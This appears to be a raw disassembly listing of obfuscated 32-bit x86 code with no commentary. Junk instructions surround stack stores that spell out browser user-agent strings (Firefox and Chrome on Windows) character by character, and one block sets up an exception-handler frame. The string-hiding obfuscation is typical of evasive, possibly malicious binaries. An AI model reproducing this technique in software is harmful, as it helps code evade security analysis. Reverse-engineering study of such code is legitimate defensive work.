mov word [ebp - 0x19e0], cx
sub cl, bl
mov edx, 0x34
mov word [ebp - 0x19de], dx
mov eax, 0x3b
mov word [ebp - 0x19dc], ax
add edx, ebp
xor cx, 0x4c51
sbb dx, 0xae1
mov ecx, 0x20
mov word [ebp - 0x19da], cx
ror dx, 0x9b
sal eax, cl
bsf dx, di
mov edx, 0x78
movzx cx, al
mov word [ebp - 0x19d8], dx
ror ecx, 0xc4
cwd
mov eax, 0x36
dec ch
mov word [ebp - 0x19d6], ax
sub cx, bp
not al
mov ecx, 0x34
shr edx, 0xcd
cmc
mov word [ebp - 0x19d4], cx
rcr cl, 0x95
bsf eax, esp
shld cx, sp, 0x37
mov edx, 0x3b
mov word [ebp - 0x19d2], dx
movsx dx, cl
mov eax, 0x20
cmc
rcl ch, cl
cwd
mov word [ebp - 0x19d0], ax
lahf
mov ecx, 0x72
mov word [ebp - 0x19ce], cx
rcr ax, cl
rdtsc
mov edx, 0x76
sar eax, 0x2a
rcr ah, cl
bswap ax
mov word [ebp - 0x19cc], dx
sar eax, 0x4c
bt cx, dx
sar ch, cl
mov eax, 0x3a
cmp cl, cl
rol ecx, cl
mov word [ebp - 0x19ca], ax
adc ecx, 0x1428491e
add eax, ecx
mov ecx, 0x34
rol edx, cl
bts dx, ax
dec dl
mov word [ebp - 0x19c8], cx
cwd
sbb ch, 4
mov edx, 0x37
cmc
sar ch, 0xa2
sbb al, 0xe4
mov word [ebp - 0x19c6], dx
adc cx, 0x2ba5
shld cx, si, 0x17
mov eax, 0x2e
shl dx, 0x10
mov word [ebp - 0x19c4], ax
mov ecx, 0x30
sub dx, 0x31a5
sar dl, cl
sbb ax, 0x400
mov word [ebp - 0x19c2], cx
bsr dx, ax
inc ah
add cl, 0x1d
mov edx, 0x29
sbb cl, 0x25
shrd ax, ax, 0xf5
mov word [ebp - 0x19c0], dx
shr eax, cl
ror ecx, cl
not edx
mov eax, 0x20
mov cl, 0x66
rcl edx, 0xd5
bsr edx, ecx
mov word [ebp - 0x19be], ax
mov ecx, 0x47
sbb al, 0xb2
not dh
sar dl, 0x23
mov word [ebp - 0x19bc], cx
shr cl, cl
xchg dx, ax
mov edx, 0x65
mov word [ebp - 0x19ba], dx
shld dx, dx, 0x6a
adc cx, si
or ah, ch
mov eax, 0x63
sal cx, cl
shl ch, cl
mov word [ebp - 0x19b8], ax
cwd
mov ecx, 0x6b
mov word [ebp - 0x19b6], cx
or dh, ah
mov edx, 0x6f
btr cx, 0x1a
mov word [ebp - 0x19b4], dx
mov eax, 0x2f
mov word [ebp - 0x19b2], ax
mov dh, 0xcd
mov ecx, 0x32
movzx edx, si
adc dx, 0x2d86
mov word [ebp - 0x19b0], cx
cmp esi, 0x40600be9
xchg cl, cl
and ecx, 0x62fa3196
mov edx, 0x30
mov word [ebp - 0x19ae], dx
sar ax, 0xe
cmp dh, 0x33
rol cx, 0x1c
mov eax, 0x31
rcl cx, 0x73
mov word [ebp - 0x19ac], ax
mov ecx, edx
test sp, bx
cmc
mov word [ebp - 0x19aa], cx
stc
mov word [ebp - 0x19a8], dx
ror dh, 0xe0
or dx, sp
xadd edx, edx
mov word [ebp - 0x19a6], ax
dec edx
btc edx, esi
mov word [ebp - 0x19a4], cx
sub dh, 0xf2
mov edx, eax
adc ax, bx
and ax, bp
btr ecx, 0xdb
mov word [ebp - 0x19a2], dx
cmp eax, 0x2c620bad
clc
mov eax, 0x20
bsr cx, si
mov word [ebp - 0x19a0], ax
ror dh, 0x47
mov ecx, 0x46
shr dl, 0x52
rdtsc
mov word [ebp - 0x199e], cx
movsx edx, bp
bt edx, eax
xor ecx, 0x39186241
mov edx, 0x69
cwde
mov word [ebp - 0x199c], dx
add cx, cx
shr cx, cl
shr cx, 0x18
mov eax, 0x72
ror ch, cl
add cl, 0xf7
sbb ecx, esi
mov word [ebp - 0x199a], ax
mov ecx, 0x65
btc edx, 0xb6
mov word [ebp - 0x1998], cx
bts dx, cx
mov edx, 0x66
sal ecx, cl
ror cx, 0xd8
mov word [ebp - 0x1996], dx
stc
sar ch, cl
mov eax, 0x6f
xadd ecx, edx
shr dh, cl
mov word [ebp - 0x1994], ax
not dh
mov ecx, 0x78
seta dl
test ebp, 0xcfa7c7e
mov word [ebp - 0x1992], cx
mov ah, 0x31
mov edx, 0x2f
btc cx, 0x2d
neg ecx
add cx, di
mov word [ebp - 0x1990], dx
mov eax, 0x34
shl edx, cl
sub ch, 0xee
mov word [ebp - 0x198e], ax
neg al
sbb ax, 0x6a82
test ebp, 0x3dcf3263
mov ecx, 0x37
adc dx, 0x41c4
mov word [ebp - 0x198c], cx
cmc
sub edx, esi
movsx edx, dx
mov edx, 0x2e
mov word [ebp - 0x198a], dx
add dh, dl
mov eax, 0x30
mov word [ebp - 0x1988], ax
shrd dx, ax, 0x4b
jmp 0x171df43
push eax
btc ax, 0x7c
bt eax, esp
sub esp, 8
mov eax, 0x1e50
jmp 0x18c6826
mov word [ebp - 0x1820], ax
mov ecx, 0x6f
or ax, sp
cwd
lahf
mov word [ebp - 0x181e], cx
mov edx, 0x7a
mov word [ebp - 0x181c], dx
mov eax, 0x69
ror dx, cl
add edx, 0x62392df6
sub dx, bp
mov word [ebp - 0x181a], ax
cmp dh, 0x47
ror ah, cl
movzx dx, bh
mov ecx, 0x6c
btc dx, cx
mov word [ebp - 0x1818], cx
rcr ah, cl
mov edx, ecx
cmc
lahf
xadd ecx, eax
mov word [ebp - 0x1816], dx
mov eax, 0x61
rcr edx, cl
mov word [ebp - 0x1814], ax
xadd dl, ch
xor ax, 0x6ee4
mov ecx, 0x2f
xor edx, 0x68576791
cdq
mov word [ebp - 0x1812], cx
xchg cx, ax
sub ax, 0x10c2
mov edx, 0x35
mov word [ebp - 0x1810], dx
adc dx, 0x542f
mov eax, 0x2e
mov word [ebp - 0x180e], ax
btc ax, si
mov ecx, 0x30
shr dh, cl
cmp bx, dx
mov word [ebp - 0x180c], cx
btr eax, ebx
btc dx, bp
clc
mov edx, 0x20
mov word [ebp - 0x180a], dx
jmp 0x53f0e0
mov word [ebp - 0x1554], cx
cdq
push 0x132
not dl
push ecx
xchg edx, edx
movsx dx, bh
bswap edx
lea edx, [ebp - 0x1552]
jmp 0x1844a7a
mov word [ebp - 0x155e], dx
mov eax, 0x37
btc cx, 0x62
ror ch, 0x76
shl cl, 0x26
mov word [ebp - 0x155c], ax
movsx eax, sp
xor cl, 0xc1
mov ecx, 0x2e
test dl, bh
mov word [ebp - 0x155a], cx
mov word [ebp - 0x1558], dx
clc
mov eax, 0x36
mov word [ebp - 0x1556], ax
cmp cx, si
sub ecx, ecx
jmp 0x1752b67
mov dword [ebp - 0x1c], eax
push ebx
mov bh, 0x49
bswap bx
not bh
push esi
push edi
mov si, 0x4a75
xchg esi, esi
movsx ebx, bx
push eax
mov esi, 0x142a2017
lea eax, [ebp - 0x10]
not esi
xchg ebx, ebx
bswap si
mov dword fs:[0], eax
setbe bl
mov dword [ebp - 0x18], esp
not eax
cbw
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmovge si, bp
mov dword [ebp - 0x1e40], eax
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
cbw
mov cx, 0x65b2
movsx eax, bx
mov dword [ebp - 0x1e30], esi
xchg ah, al
mov ax, 0x7e4d
cmovg ecx, eax
mov dword [ebp - 0x1e2c], edx
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1e28], eax
cdq
mov ecx, dword [ebp + 0x18]
xchg ah, al
jmp 0x16aea0c
mov edx, 0x20
ror ah, cl
rcr ecx, 0x40
btr ecx, eax
mov word [ebp - 0x1182], dx
dec dh
cwd
mov eax, 0x43
bsr ecx, ecx
mov word [ebp - 0x1180], ax
bsf eax, ecx
mov ecx, 0x68
xor eax, edi
or ah, dh
mov word [ebp - 0x117e], cx
sar ax, cl
cmovb edx, ecx
mov edx, 0x72
mov word [ebp - 0x117c], dx
mov eax, 0x6f
mov word [ebp - 0x117a], ax
adc cl, 0x19
mov ecx, 0x6d
mov word [ebp - 0x1178], cx
btc dx, 0x63
btc eax, esi
jmp 0x55c7dc
call fcn.00473d70
add esp, 0xc
mov eax, 0x4d
jmp 0x174cd75
push edx
lea eax, [ebp - 0xf3a]
push eax
jmp loc.0043bdeb
mov word [ebp - 0x118c], ax
mov dx, si
neg dh
xor al, 0x78
mov ecx, 0x63
and dx, 0x6fa7
add edx, ecx
mov word [ebp - 0x118a], cx
xor edx, 0x649167e3
mov edx, 0x6b
xchg cl, ch
mov word [ebp - 0x1188], dx
not dh
mov eax, 0x6f
shl cl, cl
shrd dx, si, 0xe1
neg dl
mov word [ebp - 0x1186], ax
movzx edx, cx
ror dl, 0x5d
adc dx, 0xf2
mov ecx, 0x29
bsr edx, ebp
xor dh, dh
mov word [ebp - 0x1184], cx
shl eax, cl
shr cl, cl
jmp 0x1769c47
mov word [ebp - 0x17ce], dx
mov eax, 0x3b
sub dl, al
mov word [ebp - 0x17cc], ax
test cx, 0x2664
shr cx, cl
mov ecx, 0x20
cwd
rol dl, 0x76
bsr edx, eax
mov word [ebp - 0x17ca], cx
or ch, 0xcc
mov al, 0x6b
mov edx, 0x72
btr cx, 0x7a
cbw
cmp dh, al
mov word [ebp - 0x17c8], dx
adc dh, 0x54
mov eax, 0x76
inc edx
bt edx, 0x56
cmc
mov word [ebp - 0x17c6], ax
and dx, bp
sub ax, sp
mov ecx, 0x3a
lahf
and dx, 0x2db6
mov word [ebp - 0x17c4], cx
mov ah, 0x2d
ror al, cl
mov edx, 0x34
sal ecx, cl
mov word [ebp - 0x17c2], dx
btr ax, sp
mov eax, 0x32
add ch, 0xf9
ror dh, cl
sal ecx, 0xf1
mov word [ebp - 0x17c0], ax
jmp 0x1722cba
mov word [ebp - 0x1d8e], dx
cbw
push 0x16c
mov al, bl
push edx
movzx eax, cx
movsx eax, ax
lea eax, [ebp - 0x1d8c]
jmp 0x1822e5a
call fcn.0046df75
mov esp, ebp
mov ebp, esp
pop ebp
ret
mov word [ebp - 0x1e0e], cx
rol ecx, 0x8c
mov edx, 0x20
sal cl, cl
mov ch, 0xff
mov word [ebp - 0x1e0c], dx
cdq
shr edx, 0x37
mov eax, 0x28
xor cx, di
bt cx, 0x30
cmp ax, dx
mov word [ebp - 0x1e0a], ax
mov ecx, 0x4d
mov word [ebp - 0x1e08], cx
btc eax, ebx
sar al, 0x57
mov edx, 0x61
mov word [ebp - 0x1e06], dx
neg cl
shl dx, 0xf0
mov eax, 0x63
btc ecx, 0xfb
inc ecx
mov word [ebp - 0x1e04], ax
sub ah, 0x8f
setp al
sbb cl, bh
mov ecx, 0x69
mov word [ebp - 0x1e02], cx
not ch
ror ecx, cl
mov edx, 0x6e
lahf
rol al, cl
mov word [ebp - 0x1e00], dx
or eax, 0x13705970
ror ax, 0x1a
mov eax, 0x74
sub dl, 0xbb
cdq
mov word [ebp - 0x1dfe], ax
xor dl, 0xf8
bswap edx
mov ecx, 0x6f
cmovne edx, edx
mov word [ebp - 0x1dfc], cx
add ecx, edx
add dl, 0x54
neg cx
mov edx, 0x73
adc eax, esp
btr cx, cx
mov word [ebp - 0x1dfa], dx
cwde
mov eax, 0x68
mov word [ebp - 0x1df8], ax
mov ecx, 0x3b
mov word [ebp - 0x1df6], cx
mov edx, 0x20
bt ecx, 0x73
cwde
mov word [ebp - 0x1df4], dx
rcl ax, cl
cmp bh, 0xd5
mov eax, 0x49
mov word [ebp - 0x1df2], ax
shl dx, 0x60
cbw
rcl ch, 0x59
mov ecx, 0x6e
mov word [ebp - 0x1df0], cx
mov edx, 0x74
mov word [ebp - 0x1dee], dx
bsr dx, bp
btc edx, ecx
cmp esp, 0x74d60384
mov eax, 0x65
mov word [ebp - 0x1dec], ax
test esp, ebp
mov ecx, 0x6c
clc
sal ah, cl
ror dl, cl
mov word [ebp - 0x1dea], cx
shr al, 0xb5
bswap eax
mov edx, 0x20
adc cl, 0x2e
cmp bp, 0x2d07
mov word [ebp - 0x1de8], dx
movzx eax, ax
mov eax, 0x4d
inc cl
mov word [ebp - 0x1de6], ax
mov ecx, 0x61
shr eax, cl
cdq
inc ax
mov word [ebp - 0x1de4], cx
btr ax, 0xad
mov edx, 0x63
sbb cx, 0x4cac
setle ah
add ah, 0xf2
mov word [ebp - 0x1de2], dx
movzx ecx, bp
bt edx, 0x6a
ror ah, 0xcb
mov eax, 0x20
mov word [ebp - 0x1de0], ax
bsr cx, sp
xor dx, 0x470b
mov ecx, 0x4f
xchg edx, edx
shld edx, ebx, 0x49
mov word [ebp - 0x1dde], cx
bt cx, di
sub ch, bl
rcr cx, 0x51
mov edx, 0x53
sub ecx, esi
clc
movsx ecx, ax
mov word [ebp - 0x1ddc], dx
inc dl
sub cx, 0x5a3b
mov word [ebp - 0x1dda], ax
xor ecx, ecx
btr edx, edx
bswap ecx
mov ecx, 0x58
mov dx, 0x2c19
bt dx, 0x6d
mov word [ebp - 0x1dd8], cx
mov edx, 0x3b
setp ch
neg cx
sal ecx, 0xec
mov word [ebp - 0x1dd6], dx
shrd ecx, ebp, 0xe0
bt ecx, edx
cmc
mov word [ebp - 0x1dd4], ax
movsx ecx, bx
mov ecx, 0x55
mov word [ebp - 0x1dd2], cx
or ecx, 0x70015246
bts cx, di
rol cl, 0xcc
mov word [ebp - 0x1dd0], dx
bsf ecx, ebx
mov cl, 0x71
mov word [ebp - 0x1dce], ax
and eax, esp
bts dx, bp
rdtsc
mov ecx, 0x65
rdtsc
btr dx, 0x36
mov word [ebp - 0x1dcc], cx
mov edx, 0x6e
bt ecx, esp
or ax, 0x1d38
clc
mov word [ebp - 0x1dca], dx
mov eax, 0x29
not edx
bts dx, sp
and dl, dl
mov word [ebp - 0x1dc8], ax
bsr edx, ebx
mov dl, bh
ror eax, 0x6c
mov ecx, 0x20
mov word [ebp - 0x1dc6], cx
cmp ax, si
neg ah
mov edx, 0x50
bts eax, eax
xchg ah, ah
mov word [ebp - 0x1dc4], dx
adc ah, 0xf5
movsx edx, dx
mov eax, 0x72
sal dx, 0x2f
mov word [ebp - 0x1dc2], ax
rcr cx, cl
cmovle eax, eax
bt ax, 0x5b
mov ecx, 0x65
mov edx, 0x2f111fc7
test edx, 0x7e5c1d2f
bsr dx, sp
mov word [ebp - 0x1dc0], cx
xor dx, si
bt cx, 0xb2
mov edx, 0x73
mov word [ebp - 0x1dbe], dx
mov eax, 0x74
bsf cx, cx
mov word [ebp - 0x1dbc], ax
mov ecx, 0x6f
btc edx, 0x4a
test dx, cx
mov word [ebp - 0x1dba], cx
cmp bh, ch
rol edx, 0x97
mov edx, 0x2f
btr ax, 0xa4
rcr ch, cl
rcr eax, 0xd1
mov word [ebp - 0x1db8], dx
shr ax, cl
mov eax, 0x32
btc edx, 0xb
mov word [ebp - 0x1db6], ax
btc cx, ax
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
shld edx, eax, 0x99
mov edx, eax
mov word [ebp - 0x1db2], dx
cmp bp, 0x2d32
mov eax, ecx
rcl cx, cl
bts edx, ecx
xor dh, 0xd3
mov word [ebp - 0x1db0], ax
bts ecx, esi
btr ax, 0x5d
bt ecx, 0xe6
mov ecx, 0x31
mov word [ebp - 0x1dae], cx
mov edx, 0x35
sbb al, bh
rcl al, 0x3b
mov word [ebp - 0x1dac], dx
rol dx, 0x3d
xchg cl, cl
mov eax, 0x20
mov word [ebp - 0x1daa], ax
cmp edi, edx
sal ah, 0xc9
mov ecx, 0x56
bts ax, sp
add ax, sp
mov word [ebp - 0x1da8], cx
or ecx, esp
shr cl, 0xdb
cmc
mov edx, 0x65
xor al, 4
bsf ax, si
xadd ecx, eax
mov word [ebp - 0x1da6], dx
test esi, 0x36843fc0
shr ch, 0x10
bswap ax
mov eax, 0x72
mov word [ebp - 0x1da4], ax
sar edx, 0xff
mov ecx, 0x73
shrd dx, ax, 0x2f
or edx, 0x514a5fb7
mov word [ebp - 0x1da2], cx
mov edx, 0x69
or al, 0xe6
sar ecx, 0xeb
stc
mov word [ebp - 0x1da0], dx
bswap edx
mov eax, 0x6f
cwd
shl edx, 0x23
shrd edx, edi, 0x87
mov word [ebp - 0x1d9e], ax
cdq
mov ecx, 0x6e
bsf dx, di
rcl dl, 0x27
bsr dx, ax
mov word [ebp - 0x1d9c], cx
mov edx, 0x2f
cmp ah, 0xa3
add ax, sp
mov word [ebp - 0x1d9a], dx
shld edx, ebp, 0xa4
mov eax, 0x31
shr dl, cl
shl ch, 0xa9
mov word [ebp - 0x1d98], ax
mov ecx, 0x30
bts ax, bp
test cx, cx
setnp dh
mov word [ebp - 0x1d96], cx
xchg al, dh
mov edx, 0x2e
dec ax
inc eax
mov word [ebp - 0x1d94], dx
bsf eax, ebx
rcl al, 0xa1
mov eax, ecx
test dx, sp
mov word [ebp - 0x1d92], ax
btc ax, sp
mov word [ebp - 0x1d90], cx
bsr eax, edi
cbw
xor edx, edx
jmp 0x17cb2bc
mov edx, 0x30
rcl ch, cl
mov word [ebp - 0x160c], dx
and ch, dh
movsx cx, cl
mov eax, 0x20
add cl, 0x3f
shld edx, esp, 0x59
mov word [ebp - 0x160a], ax
mov ecx, 0x28
bswap ax
mov word [ebp - 0x1608], cx
shrd cx, di, 0x70
sal dl, 0xf1
mov edx, 0x57
bsr cx, di
btr cx, 0x4f
mov word [ebp - 0x1606], dx
cbw
cmc
mov eax, 0x69
and dh, 0xa6
mov word [ebp - 0x1604], ax
mov ecx, 0x6e
movzx dx, bh
shld edx, esi, 0x84
mov word [ebp - 0x1602], cx
mov edx, 0x64
not al
test dx, bx
mov word [ebp - 0x1600], dx
mov eax, 0x6f
xadd ecx, edx
cmovne ecx, edi
mov word [ebp - 0x15fe], ax
mov ecx, 0x77
and dh, 0xb0
rol ax, 0xbe
shl dl, 0xf9
mov word [ebp - 0x15fc], cx
cbw
add ecx, esp
clc
mov edx, 0x73
sar eax, 0x69
adc eax, edi
mov word [ebp - 0x15fa], dx
mov eax, 0x20
mov dh, 0x5d
mov word [ebp - 0x15f8], ax
adc ecx, edi
or edx, edi
ror dh, 0x4b
mov ecx, 0x4e
xor dh, 0x37
mov word [ebp - 0x15f6], cx
mov edx, 0x54
mov word [ebp - 0x15f4], dx
xor cl, bl
btc edx, ebp
mov ecx, ebp
mov word [ebp - 0x15f2], ax
sal cx, 0xd7
xadd ax, dx
mov ecx, 0x35
cwde
mov word [ebp - 0x15f0], cx
or ecx, eax
rcl dh, 0x5e
bts edx, edi
mov edx, 0x2e
xor ax, 0x2d4e
sal al, 0xa2
shr ch, 0xbb
mov word [ebp - 0x15ee], dx
cmc
mov eax, 0x31
mov word [ebp - 0x15ec], ax
movsx ax, cl
mov ecx, 0x29
sete dl
btr dx, 0x9d
mov word [ebp - 0x15ea], cx
mov edx, 0x20
shl ch, 0x27
sar ax, 0x51
mov word [ebp - 0x15e8], dx
mov eax, 0x41
mov word [ebp - 0x15e6], ax
add cx, di
bt dx, 0x80
mov ecx, 0x70
mov word [ebp - 0x15e4], cx
xadd ax, ax
mov edx, ecx
mov word [ebp - 0x15e2], dx
rcr eax, 0x40
btc ax, 0x13
mov eax, 0x6c
sar dh, cl
neg dh
mov word [ebp - 0x15e0], ax
shrd ax, si, 0xa5
shr edx, 0x90
sar edx, cl
mov ecx, 0x65
sub eax, ebx
cmp cx, si
mov word [ebp - 0x15de], cx
add dh, 0x12
rol al, 0xd0
mov edx, 0x57
movzx ax, cl
xchg ah, ah
mov word [ebp - 0x15dc], dx
mov eax, ecx
or dh, 0x1a
shl dx, 0xc2
shld edx, edi, 0xa9
mov word [ebp - 0x15da], ax
inc eax
add dh, dl
sub ax, di
mov ecx, 0x62
mov word [ebp - 0x15d8], cx
mov edx, 0x4b
movsx eax, cx
mov word [ebp - 0x15d6], dx
cbw
cmc
rcl cx, 0x27
mov eax, 0x69
rcr edx, 0x76
mov word [ebp - 0x15d4], ax
mov ecx, 0x74
rol dx, 0x21
mov word [ebp - 0x15d2], cx
movzx dx, bl
sub ecx, esp
xchg dx, ax
mov edx, 0x2f
bsf cx, bx
mov word [ebp - 0x15d0], dx
rdtsc
sar cx, cl
mov eax, 0x35
rcl dx, cl
mov cl, bl
mov word [ebp - 0x15ce], ax
or eax, 0x58a37c65
rcr ch, cl
mov ecx, 0x33
bt edx, ebp
mov word [ebp - 0x15cc], cx
mov edx, 0x37
mov word [ebp - 0x15ca], dx
mov eax, 0x2e
adc dh, 0xf
mov word [ebp - 0x15c8], ax
sbb edx, edi
cwde
mov word [ebp - 0x15c6], cx
btc dx, bx
rol ch, 0x24
mov edx, 0x36
cwde
setb ch
mov word [ebp - 0x15c4], dx
shld eax, esi, 0x32
shrd ecx, esp, 0xaf
mov eax, 0x20
mov word [ebp - 0x15c2], ax
btr ax, 0x11
clc
sal cl, cl
mov ecx, 0x28
mov word [ebp - 0x15c0], cx
bts edx, edi
mov edx, 0x4b
dec al
cbw
stc
mov word [ebp - 0x15be], dx
test si, bp
cmp bp, ax
mov eax, 0x48
bsf cx, bx
mov word [ebp - 0x15bc], ax
rol dl, cl
rcl ah, cl
mov ecx, 0x54
mov word [ebp - 0x15ba], cx
rcr dx, 0x43
mov edx, 0x4d
mov word [ebp - 0x15b8], dx
movzx eax, bx
cwde
bt cx, 0x35
mov eax, 0x4c
mov word [ebp - 0x15b6], ax
shr ax, 0x7d
cmc
mov ecx, 0x2c
test esp, 0x790b041b
mov word [ebp - 0x15b4], cx
shl ax, cl
movsx dx, bl
and dh, dl
mov edx, 0x20
ror ax, 0xa0
rol al, 0x96
mov word [ebp - 0x15b2], dx
mov eax, 0x6c
add ch, 0x71
test esi, 0x68aa7656
btc cx, di
mov word [ebp - 0x15b0], ax
mov ecx, 0x69
mov word [ebp - 0x15ae], cx
mov edx, 0x6b
rcl ch, cl
mov word [ebp - 0x15ac], dx
cwd
mov eax, 0x65
and cx, 0xdf3
sal dh, cl
mov word [ebp - 0x15aa], ax
mov ecx, 0x20
mov word [ebp - 0x15a8], cx
movsx dx, bh
mov edx, 0x47
mov ecx, 0x5b6c2da0
mov word [ebp - 0x15a6], dx
sbb dh, 0x84
movzx cx, ah
mov word [ebp - 0x15a4], ax
test si, si
cmp sp, di
mov ecx, 0x63
rol edx, 8
sal ax, 0x9c
inc ah
mov word [ebp - 0x15a2], cx
mov edx, 0x6b
ror cl, cl
mov word [ebp - 0x15a0], dx
neg dx
mov eax, 0x6f
test cl, bh
sbb dh, 0x2d
mov word [ebp - 0x159e], ax
and ecx, 0x1fbf59b6
rol ch, cl
sar al, cl
mov ecx, 0x29
shr dx, cl
rcl edx, cl
mov word [ebp - 0x159c], cx
rol ax, 0x7b
sar ax, 0x3a
movzx ecx, cx
mov edx, 0x20
mov word [ebp - 0x159a], dx
bt edx, 0xb4
stc
mov eax, 0x43
ror ecx, cl
mov word [ebp - 0x1598], ax
mov ecx, 0x68
shld dx, ax, 0x3f
btr dx, 0x56
mov word [ebp - 0x1596], cx
mov eax, 0x3a1855e4
mov edx, 0x72
mov word [ebp - 0x1594], dx
mov eax, 0x6f
mov word [ebp - 0x1592], ax
rcr dh, 0x7b
sbb ax, di
stc
mov ecx, 0x6d
xor al, 0x81
sbb eax, ebp
dec al
mov word [ebp - 0x1590], cx
mov edx, 0x65
sbb eax, esi
movsx ax, ch
mov word [ebp - 0x158e], dx
movzx dx, dl
mov eax, 0x2f
mov word [ebp - 0x158c], ax
xadd cx, dx
mov ecx, 0x34
mov word [ebp - 0x158a], cx
adc ax, 0x57ca
mov edx, 0x39
mov word [ebp - 0x1588], dx
mov eax, 0x2e
rcl edx, cl
xchg cl, dh
mov word [ebp - 0x1586], ax
test bp, 0x4f47
rcl edx, 0x53
mov ecx, 0x30
mov word [ebp - 0x1584], cx
rol cx, 0x3a
bsf cx, bp
rcr edx, cl
mov edx, eax
bts ax, si
mov word [ebp - 0x1582], dx
mov eax, 0x32
stc
adc cx, di
rcr dl, cl
mov word [ebp - 0x1580], ax
mov ecx, 0x36
mov word [ebp - 0x157e], cx
bt edx, 0x74
btc ecx, ebx
mov edx, eax
mov word [ebp - 0x157c], dx
mov eax, 0x33
mov edx, ecx
btc edx, 0x31
dec ch
mov word [ebp - 0x157a], ax
mov ecx, 0x2e
bsr eax, eax
or al, dh
cmovno ax, sp
mov word [ebp - 0x1578], cx
mov edx, 0x31
mov word [ebp - 0x1576], dx
adc cl, cl
inc cl
and ecx, esi
mov eax, edx
cdq
and edx, ebp
mov word [ebp - 0x1574], ax
cbw
lahf
mov ecx, 0x32
rcr edx, cl
mov dx, 0x4d73
bts ax, si
mov word [ebp - 0x1572], cx
sub ch, cl
mov edx, 0x20
sbb eax, esp
mov word [ebp - 0x1570], dx
dec al
mov eax, 0x53
mov word [ebp - 0x156e], ax
mov ecx, 0x61
xchg edx, edx
mov word [ebp - 0x156c], cx
dec dl
mov edx, 0x66
mov word [ebp - 0x156a], dx
xadd eax, edx
neg eax
lahf
mov eax, ecx
sar edx, 0x8b
mov word [ebp - 0x1568], ax
or cx, bx
mov ecx, 0x72
rol edx, cl
mov word [ebp - 0x1566], cx
mov edx, 0x69
rcl eax, 0x5a
movsx ecx, cx
bt eax, 0x71
mov word [ebp - 0x1564], dx
rol cl, 0xc3
mov eax, 0x2f
mov word [ebp - 0x1562], ax
neg dl
add dh, 0x6c
mov ecx, 0x35
shld ax, dx, 0x73
test edi, ebx
mov word [ebp - 0x1560], cx
mov edx, 0x33
shl ax, cl
jmp 0x17544c7
mov word [ebp - 0xffa], ax
test dx, 0x1923
btc eax, edx
mov ecx, 0x20
add dx, sp
shl eax, 0x9f
mov word [ebp - 0xff8], cx
mov edx, 0x4e
xchg ah, al
btr eax, edx
btr ax, 0x7d
mov word [ebp - 0xff6], dx
mov eax, 0x54
mov word [ebp - 0xff4], ax
mov word [ebp - 0xff2], cx
mov edx, 0x36
shrd ecx, edi, 0x3b
inc ah
bswap cx
mov word [ebp - 0xff0], dx
mov eax, 0x2e
mov word [ebp - 0xfee], ax
movzx edx, dx
shld eax, edi, 0x4d
mov ecx, 0x33
xor dh, ah
mov word [ebp - 0xfec], cx
mov edx, 0x3b
mov word [ebp - 0xfea], dx
mov eax, 0x20
sal dl, 0x27
mov word [ebp - 0xfe8], ax
mov ecx, 0x57
sar dl, 0xe2
adc dh, al
mov word [ebp - 0xfe6], cx
btr ecx, esp
bts ecx, edi
mov edx, 0x69
mov word [ebp - 0xfe4], dx
xor ax, 0x6e3a
shr dh, cl
shl ecx, cl
mov eax, 0x6e
mov word [ebp - 0xfe2], ax
sbb ax, ax
not eax
mov ah, 0x2e
mov ecx, 0x36
xor edx, edi
bt ax, ax
mov word [ebp - 0xfe0], cx
xchg edx, eax
bts ecx, edi
stc
mov edx, 0x34
sar ch, cl
mov word [ebp - 0xfde], dx
shl ecx, cl
mov eax, 0x3b
mov word [ebp - 0xfdc], ax
sub cx, dx
shr al, 0x14
mov ecx, 0x20
or edx, edi
mov word [ebp - 0xfda], cx
mov edx, 0x78
shl ch, 0x57
bsf ecx, eax
mov word [ebp - 0xfd8], dx
mov eax, 0x36
dec dl
or dl, 0xb0
shr dh, 0x53
mov word [ebp - 0xfd6], ax
movsx edx, bp
cwde
mov dx, ax
mov ecx, 0x34
xadd eax, edx
btr eax, 0xf0
mov word [ebp - 0xfd4], cx
mov edx, 0x29
mov word [ebp - 0xfd2], dx
mov eax, 0x20
shl dl, 0xd9
inc dl
mov word [ebp - 0xfd0], ax
cmc
test ax, di
shl dx, 0x51
mov ecx, 0x41
mov word [ebp - 0xfce], cx
mov edx, 0x70
sbb cl, al
mov word [ebp - 0xfcc], dx
movsx ecx, cx
cmp edx, ecx
add al, bl
mov eax, edx
ror ch, cl
mov word [ebp - 0xfca], ax
sal cx, 0xd0
mov ecx, 0x6c
rdtsc
rol dl, cl
mov word [ebp - 0xfc8], cx
test sp, 0x75c9
add eax, 0x52bd0918
rcr ecx, 0xe1
mov edx, 0x65
rcl ax, cl
rol ax, 0xea
bt cx, dx
mov word [ebp - 0xfc6], dx
movsx ecx, bx
mov eax, 0x57
btc cx, 0x9c
shld ecx, eax, 0x5e
mov word [ebp - 0xfc4], ax
mov ch, 0xbf
mov ecx, edx
mov dh, 0x6a
bsf eax, esp
cdq
mov word [ebp - 0xfc2], cx
mov edx, 0x62
mov word [ebp - 0xfc0], dx
movsx eax, ax
mov eax, 0x4b
mov word [ebp - 0xfbe], ax
bt ecx, 0xf8
clc
mov ecx, 0x69
adc eax, esp
mov word [ebp - 0xfbc], cx
clc
sbb cx, di
lahf
mov edx, 0x74
shr ax, cl
btc ecx, ecx
or eax, esp
mov word [ebp - 0xfba], dx
mov eax, 0x2f
sal cl, 0x10
rol cx, cl
mov word [ebp - 0xfb8], ax
ror cl, cl
rcr ecx, cl
mov ecx, 0x35
sub edx, esp
test esp, 0x58754df7
mov word [ebp - 0xfb6], cx
cmc
add dx, 0xb21
dec ch
mov edx, 0x33
mov word [ebp - 0xfb4], dx
shl ax, cl
not cx
sub eax, 0x7faf3abd
mov eax, 0x37
and cx, bx
bt ecx, 0x49
mov word [ebp - 0xfb2], ax
rol cx, 0x1b
mov ecx, 0x2e
ror eax, cl
rol ax, 0xaf
test edi, edx
mov word [ebp - 0xfb0], cx
mov eax, 0x6ebd3ef2
mov ecx, ecx
mov word [ebp - 0xfae], dx
ror eax, cl
mov eax, 0x36
rol dl, 0xfc
not edx
cmp dl, 0xd6
mov word [ebp - 0xfac], ax
rcl dx, cl
mov dx, bp
mov ecx, 0x20
clc
cbw
mov word [ebp - 0xfaa], cx
setae ch
clc
bsf edx, esi
mov edx, 0x28
mov word [ebp - 0xfa8], dx
mov eax, 0x4b
mov word [ebp - 0xfa6], ax
sub cx, 0x38
mov ecx, 0x48
mov word [ebp - 0xfa4], cx
